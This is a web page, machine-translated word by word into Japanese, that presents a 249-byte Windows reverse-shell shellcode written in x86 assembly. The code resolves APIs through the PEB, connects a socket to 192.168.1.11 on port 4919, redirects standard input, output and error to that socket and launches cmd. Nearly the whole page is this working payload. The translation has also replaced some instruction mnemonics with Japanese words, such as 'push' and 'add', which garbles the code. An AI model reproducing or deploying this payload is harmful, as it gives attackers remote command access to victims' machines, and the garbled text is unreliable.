このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。

翻訳前ページへ


Windows - 逆転する Generic Shellcode w/o Loader - 249 bytes
We use the PEB for the 生産(高)/Input/Error 扱うs.

typedef struct PEB
BOOLEAN InheritedAddressSpace ;
BOOLEAN ReadImageFileExecOptions ;
BOOLEAN BeingDebugged ;
BOOLEAN Spare ;
HANDLE Mutant ;
PVOID ImageBaseAddress ;
PPEB LDR DATA LoaderData ;
PRTL USER PROCESS PARAMETERS ProcessParameters ;
...
typedef struct RTL USER PROCESS PARAMETERS
ULONG MaximumLength ;
ULONG Length ;
ULONG 旗s ;
ULONG DebugFlags ;
PVOID ConsoleHandle ;
ULONG ConsoleFlags ;
HANDLE StdInputHandle ; +18h
HANDLE StdOutputHandle ; +1Ch
HANDLE StdErrorHandle ; +20h
...

So with the nooil tricks we have now :
mov eax,dword ptr fs :[18h]
mov eax,dword ptr ds :[eax+30h]
mov eax,dword ptr ds :[eax+10h]
mov ecx, hClientSocket
mov dword ptr ds :[eax+18h],ecx ; SetStdHandle(STD INPUT HANDLE,hClientSocket) ;
mov dword ptr ds :[eax+1Ch],ecx ; SetStdHandle(STD OUTPUT HANDLE,hClientSocket) ;
mov dword ptr ds :[eax+20h],ecx ; SetStdHandle(STD ERROR HANDLE,hClientSocket) ;

249 bytes 逆転する Generic Shellcode without loader(no null byte) :

comment *
-----------------------------------------------------------------
---- New 世代 shellcode using my "nooil tricks" methods ---
----    (c) 2005 - Matthieu Suiche / msuiche@gmail.com        ---
249 bytes 逆転する Generic Shellcode without loader(no null byte)
-----------------------------------------------------------------
hehe hi metasploit's guys ;)
*
.386
.model flat, stdcall

assume fs:nothing

LoadLibraryA    equ 0D6C3D898h
WSAStartupA     equ 0C7B3B4CBh
WSASocketA      equ 0B8ACB6C6h
connect                 equ 06EE2D2C8h
system                  equ 0E873E6D8h
ExitProcessA    equ 0D7D8EA95h
; ------------------------------
sin_addr                equ 0B01A8C0h ; 192.168.1.11
sin_port                equ 3713h       ; 4919
; ------------------------------
str_cmd                 equ 0FF646D63h

; ----------------------------------------------------
_nooil_ segment public ; writable section
;.
; ----- CODE -----
scode:
       jmp short _eip
       GetEip:
       pop             edi
       jmp short EntryPoint
_eip:
       call    GetEip
Kernel32BaseAddr:
       pushad
       実験(する)    eax, eax
       jnz             MyGetProcAddr
       ; eax = 0
       mov     eax, dword ptr fs:[eax+30h]
       mov     eax, dword ptr ds:[eax+0ch]
       mov     esi, dword ptr ds:[eax+1ch]
       lodsd
       mov     eax, dword ptr ds:[eax+08h]
MyGetProcAddr:
       mov             edx, eax

; - PE
       追加する             edx, dword ptr ds:[edx+3ch]

; - 輸出(する) (米)棚上げする/(英)提議する
       mov             edx, dword ptr ds:[edx+78h]
       追加する             edx, eax

       mov     ebx, dword ptr ds:[edx+20h]
       追加する             ebx, eax

       xor             ecx, ecx
       mov             ebp, eax

FindAddr:
       inc             ecx
       mov     edi, dword ptr ds:[ebx+ecx*4]
       追加する             edi, eax

       mov             esi, dword ptr [edi]
       追加する             esi, dword ptr [edi+4]
       cmp             esi, [esp+36]
       jz              AddrFound
       jmp             short FindAddr

AddrFound:

       mov     ebx, dword ptr ds:[edx+24h]
       追加する     ebx, ebp
       mov     cx,word ptr ds:[ebx+ecx*2]

       mov     ebx, dword ptr ds:[edx+1Ch]
       追加する     ebx, ebp
       追加する     ebp, dword ptr ds:[ebx+ecx*4]

       mov             dword ptr [esp+28], ebp
       popad
       retn

EntryPoint:
       xor             eax, eax
       xor             ecx, ecx
       押し進める    LoadLibraryA
       call    edi                                                     ; MyGetProcAddr(LoadLibraryA);
       mov             ebp, eax

       押し進める    cx
       押し進める    word ptr '23'
       押し進める    '_2sw'
       押し進める    esp
       call    eax             ; LoadLibraryA("ws2_32");

       mov             ebx, eax

       押し進める    WSAStartupA
       call    edi             ; MyGetProcAddr(WSAStartupA)


       mov             esi, esp
       追加する             si, -301h
       押し進める    esi
       押し進める    2
       call    eax             ; WSAStartup(2,&WSAstruct);

       mov             eax, ebx

       押し進める    WSASocketA
       call    edi             ; MyGetProcAddr(WSASocketA);

       xor             esi, esi
       押し進める    esi
       押し進める    esi
       押し進める    esi
       押し進める    esi
       inc             esi
       押し進める    esi
       inc             esi
       押し進める    esi
       call    eax             ; WSASocket(2,1,0,0,0,0);

       xchg    ebx, eax ; ebx = sockfd , eax = ws2_32

       押し進める    sin_addr
       押し進める    word ptr sin_port
       押し進める    si
       mov             esi, esp

       押し進める    connect
       call    edi             ; MyGetProcAddr(connect)

       押し進める    10h
       押し進める    esi
       押し進める    ebx
       call    eax             ; connect(sockfd, &struct, sizeof(struct));

       押し進める    ax
       押し進める    word ptr 'tr'
       押し進める    'cvsm'
       押し進める    esp
       call    ebp             ; LoadLibraryA("msvcrt");

       押し進める    system
       call    edi             ; MyGetProcAddr(system);

       ; ----------------------------- nooil tricks ----------------------------------
       xor             ecx, ecx
       mov             ecx,dword ptr fs:[ecx+18h]
       mov             ecx,dword ptr ds:[ecx+30h]
       mov             ecx,dword ptr ds:[ecx+10h]
       mov             dword ptr ds:[ecx+18h],ebx ; SetStdHandle(STD_INPUT_HANDLE,hClient);
       mov     dword ptr ds:[ecx+1Ch],ebx ; SetStdHandle(STD_OUTPUT_HANDLE,hClient);
       mov     dword ptr ds:[ecx+20h],ebx ; SetStdHandle(STD_ERROR_HANDLE,hClient);
       ; -----------------------------------------------------------------------------


       押し進める    str_cmd
       inc             byte ptr [esp+3]
       押し進める    esp
       call    eax     ; system("cmd");

       ; 出口
       押し進める    ExitProcessA
       call    edi             ; MyGetProcAddr(ExitProcessA)
       call    eax             ; ExitProcessA();
end scode
; ------ END CODE ------
;.
_nooil_ ends
; ----------------------------------------------------